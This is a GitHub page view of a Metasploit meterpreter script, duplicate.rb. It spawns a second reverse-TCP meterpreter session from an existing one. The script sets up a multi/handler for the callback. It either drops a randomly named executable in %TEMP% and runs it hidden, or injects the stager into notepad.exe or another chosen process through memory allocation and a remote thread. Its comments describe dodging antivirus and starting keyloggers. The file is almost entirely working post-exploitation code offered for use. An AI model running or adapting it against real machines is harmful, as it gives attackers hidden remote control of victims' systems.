-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathduplicate.rb
146 lines (128 loc) · 4.33 KB
/
duplicate.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
# Author: Scriptjunkie
# Uses a meterpreter session to spawn a new meterpreter session in a different process.
# A new process allows the session to take "risky" actions that might get the process killed by
# A/V, giving a meterpreter session to another controller, or start a keylogger on another
# process.
#
#
# Options
#
opts = Rex::Parser::Arguments.new(
"-h" => [ false, "This help menu"],
"-r" => [ true, "The IP of a remote Metasploit listening for the connect back"],
"-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4546)"],
"-w" => [ false, "Write and execute an exe instead of injecting into a process"],
"-e" => [ true, "Executable to inject into. Default notepad.exe, will fall back to spawn if not found."],
"-P" => [ true, "Process id to inject into; use instead of -e if multiple copies of one executable are running."],
"-s" => [ false, "Spawn new executable to inject to. Only useful with -P."],
"-D" => [ false, "Disable the automatic multi/handler (use with -r to accept on another system)"]
)
#
# Default parameters
#
rhost = Rex::Socket.source_address("1.2.3.4")
rport = 4546
lhost = "127.0.0.1"
spawn = false
autoconn = true
inject = true
target_pid = nil
target = "notepad.exe"
pay = nil
#
# Option parsing
#
opts.parse(args) do |opt, idx, val|
case opt
when "-h"
print_line(opts.usage)
raise Rex::Script::Completed
when "-r"
rhost = val
when "-p"
rport = val.to_i
when "-P"
target_pid = val.to_i
when "-e"
target = val
when "-D"
autoconn = false
when "-w"
inject = false
when "-s"
spawn = true
end
end
print_status("Creating a reverse meterpreter stager: LHOST=#{rhost} LPORT=#{rport}")
payload = "windows/meterpreter/reverse_tcp"
pay = client.framework.payloads.create(payload)
pay.datastore['LHOST'] = rhost
pay.datastore['LPORT'] = rport
mul = client.framework.exploits.create("multi/handler")
mul.share_datastore(pay.datastore)
mul.datastore['WORKSPACE'] = client.workspace
mul.datastore['PAYLOAD'] = payload
mul.datastore['EXITFUNC'] = 'process'
mul.datastore['ExitOnSession'] = true
print_status("Running payload handler")
mul.exploit_simple(
'Payload' => mul.datastore['PAYLOAD'],
'RunAsJob' => true
)
if client.platform =~ /win32|win64/
server = client.sys.process.open
print_status("Current server process: #{server.name} (#{server.pid})")
if ! inject
exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw)
print_status("Meterpreter stager executable #{exe.length} bytes long")
#
# Upload to the filesystem
#
tempdir = client.fs.file.expand_path("%TEMP%")
tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
tempexe.gsub!("\\\\", "\\")
fd = client.fs.file.new(tempexe, "wb")
fd.write(exe)
fd.close
print_status("Uploaded the agent to #{tempexe} (must be deleted manually)")
#
# Execute the agent
#
print_status("Executing the agent with endpoint #{rhost}:#{rport}...")
pid = session.sys.process.execute(tempexe, nil, {'Hidden' => true})
elsif ! spawn
# Get the target process name
print_status("Duplicating into #{target}...")
# Get the target process pid
if not target_pid
target_pid = client.sys.process[target]
end
if not target_pid
print_error("Could not access the target process")
print_status("Spawning a notepad.exe host process...")
note = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true })
target_pid = note.pid
end
else
print_status("Spawning a #{target} host process...")
newproc = client.sys.process.execute(target, nil, {'Hidden' => true })
target_pid = newproc.pid
if not target_pid
print_error("Could not create a process around #{target}")
raise Rex::Script::Completed
end
end
# Do the duplication
print_status("Injecting meterpreter into process ID #{target_pid}")
host_process = client.sys.process.open(target_pid, PROCESS_ALL_ACCESS)
raw = pay.generate
mem = host_process.memory.allocate(raw.length + (raw.length % 1024))
print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
print_status("Writing the stager into memory...")
host_process.memory.write(mem, raw)
host_process.thread.create(mem, 0)
print_status("New server process: #{target_pid}")
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end